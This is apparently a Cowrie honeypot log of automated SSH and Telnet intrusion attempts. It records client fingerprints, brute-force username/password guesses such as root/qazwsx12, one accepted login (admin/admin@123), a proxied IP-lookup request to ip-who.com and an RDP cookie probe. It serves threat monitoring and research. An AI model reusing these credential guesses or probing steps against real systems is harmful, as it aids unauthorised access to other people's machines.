{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:42.325726Z","src_ip":"81.9.145.130","session":"90368859c9b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx12","message":"login attempt [root/qazwsx12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:42.810508Z","src_ip":"81.9.145.130","session":"90368859c9b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":54024,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc3aad3a3b4","protocol":"ssh","message":"New connection: 103.164.9.74:54024 (10.17.0.5:22) [session: 2cc3aad3a3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:43.683725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:43.689447Z","src_ip":"103.164.9.74","session":"2cc3aad3a3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:43.926903Z","src_ip":"81.9.145.130","session":"90368859c9b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":54567,"dst_ip":"159.203.135.109","dst_port":23,"session":"139b0f2878f3","protocol":"telnet","message":"New connection: 186.195.16.41:54567 (159.203.135.109:23) [session: 139b0f2878f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:44.392753Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:44.484647Z","src_ip":"103.164.9.74","session":"2cc3aad3a3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59386,"dst_ip":"10.17.0.5","dst_port":23,"session":"a659ac63e438","protocol":"telnet","message":"New connection: 192.119.13.58:59386 (10.17.0.5:23) [session: a659ac63e438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:44.494217Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustang","message":"login attempt [root/mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:45.318741Z","src_ip":"103.164.9.74","session":"2cc3aad3a3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37318,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea9e16801441","protocol":"telnet","message":"New connection: 192.119.13.58:37318 (10.17.0.5:23) [session: ea9e16801441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:46.283790Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:46.522201Z","src_ip":"103.164.9.74","session":"2cc3aad3a3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.18142104148865,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:46.909512Z","src_ip":"192.119.13.58","session":"857fafc0931e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60648,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf42f8d2b9c","protocol":"ssh","message":"New connection: 193.32.162.145:60648 (10.17.0.5:22) [session: cdf42f8d2b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:48.402716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:48.408273Z","src_ip":"193.32.162.145","session":"cdf42f8d2b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:48.506054Z","src_ip":"193.32.162.145","session":"cdf42f8d2b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:48.906015Z","src_ip":"193.32.162.145","session":"cdf42f8d2b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.79667329788208,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:49.702521Z","src_ip":"192.119.13.58","session":"6c9af528e9f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:50.084787Z","src_ip":"193.32.162.145","session":"cdf42f8d2b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.93984532356262,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:51.912659Z","src_ip":"192.119.13.58","session":"53e193849873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.25703310966492,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:47:54.733923Z","src_ip":"192.119.13.58","session":"6556f35f2b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56634,"dst_ip":"10.17.0.5","dst_port":23,"session":"936d83f0434b","protocol":"telnet","message":"New connection: 192.119.13.58:56634 (10.17.0.5:23) [session: 936d83f0434b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:00.153706Z"}
{"eventid":"cowrie.session.closed","duration":3.5775082111358643,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:03.731356Z","src_ip":"192.119.13.58","session":"936d83f0434b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.942673683166504,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:05.350214Z","src_ip":"192.119.13.58","session":"00fb23fa92c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.52804684638977,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:05.565038Z","src_ip":"192.119.13.58","session":"d21817c28759","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.462876319885254,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:08.650449Z","src_ip":"192.119.13.58","session":"2bb0cd0f9748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.595693826675415,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:11.037997Z","src_ip":"192.119.13.58","session":"60bd78441c29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.552603006362915,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:12.267901Z","src_ip":"192.119.13.58","session":"777a8fc88601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68697190284729,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:12.548265Z","src_ip":"192.119.13.58","session":"a0d433eee2ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46618,"dst_ip":"10.17.0.5","dst_port":23,"session":"f874fe7abf4f","protocol":"telnet","message":"New connection: 192.119.13.58:46618 (10.17.0.5:23) [session: f874fe7abf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:12.759919Z"}
{"eventid":"cowrie.session.closed","duration":0.005401134490966797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:12.765186Z","src_ip":"192.119.13.58","session":"f874fe7abf4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.801438331604004,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:16.952978Z","src_ip":"192.119.13.58","session":"0126f8df42f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0656521320343,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:22.349327Z","src_ip":"192.119.13.58","session":"ea9e16801441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.9810049533844,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:22.551202Z","src_ip":"192.119.13.58","session":"0b1a565a998f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":41940,"dst_ip":"159.203.135.109","dst_port":22,"session":"db3ebd576e86","protocol":"ssh","message":"New connection: 116.110.15.216:41940 (159.203.135.109:22) [session: db3ebd576e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:22.765517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:22.777886Z","src_ip":"116.110.15.216","session":"db3ebd576e86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:23.016795Z","src_ip":"116.110.15.216","session":"db3ebd576e86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":38952,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff1e1282e209","protocol":"ssh","message":"New connection: 147.45.199.80:38952 (159.203.135.109:22) [session: ff1e1282e209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:25.068258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:25.073122Z","src_ip":"147.45.199.80","session":"ff1e1282e209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:25.175426Z","src_ip":"147.45.199.80","session":"ff1e1282e209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha12345","message":"login attempt [root/sasha12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:25.501840Z","src_ip":"147.45.199.80","session":"ff1e1282e209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:26.603494Z","src_ip":"147.45.199.80","session":"ff1e1282e209","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:27.132865Z","src_ip":"116.110.15.216","session":"db3ebd576e86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"116.110.15.216","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:27.386110Z","session":"db3ebd576e86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:28.749147Z","src_ip":"116.110.15.216","session":"db3ebd576e86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:28.752600Z","src_ip":"116.110.15.216","session":"db3ebd576e86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:29.188101Z","src_ip":"116.110.15.216","session":"db3ebd576e86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.78729963302612,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:33.179549Z","src_ip":"186.195.16.41","session":"139b0f2878f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.73344588279724,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:35.227584Z","src_ip":"192.119.13.58","session":"a659ac63e438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60581,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e06881995aa","protocol":"ssh","message":"New connection: 167.172.81.52:60581 (10.17.0.5:22) [session: 5e06881995aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:35.237533Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:35.242416Z","src_ip":"167.172.81.52","session":"5e06881995aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:35.246106Z","src_ip":"167.172.81.52","session":"5e06881995aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55132,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3de39e1e9f3","protocol":"telnet","message":"New connection: 192.119.13.58:55132 (10.17.0.5:23) [session: d3de39e1e9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:36.529308Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33644,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e9b0bdbe929","protocol":"telnet","message":"New connection: 192.119.13.58:33644 (10.17.0.5:23) [session: 8e9b0bdbe929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:38.294486Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33814,"dst_ip":"10.17.0.5","dst_port":23,"session":"74d0842011a3","protocol":"telnet","message":"New connection: 192.119.13.58:33814 (10.17.0.5:23) [session: 74d0842011a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:48:38.334409Z"}
